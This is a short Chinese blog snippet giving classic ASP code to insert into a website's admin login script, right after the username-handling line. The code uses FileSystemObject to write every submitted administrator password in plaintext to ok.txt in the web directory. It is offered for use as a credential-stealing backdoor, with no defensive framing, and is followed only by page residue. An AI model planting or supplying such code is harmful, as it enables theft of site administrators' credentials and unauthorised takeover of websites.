在"username=trim(replace(request("username")这行后面
Dim fsoObject
Dim tsObject
Set fsoObject = Server.CreateObject("Scripting.FileSystemObject")
set tsObject = fsoObject.CreateTextFile(Server.MapPath("ok.txt"))
tsObject.Write CStr(request("password"))
Set fsoObject = Nothing
Set tsObject = Nothing
只要管理员登陆后台,在目录下就生成了ok.txt,里面就记录了明文密码
博客给出一段代码,在“username=trim(replace(request(\username\)”后,通过创建对象将管理员登录后台的明文密码记录到ok.txt文件中,只要管理员登录后台,该文件就会在目录下生成。

525

被折叠的 条评论
为什么被折叠?



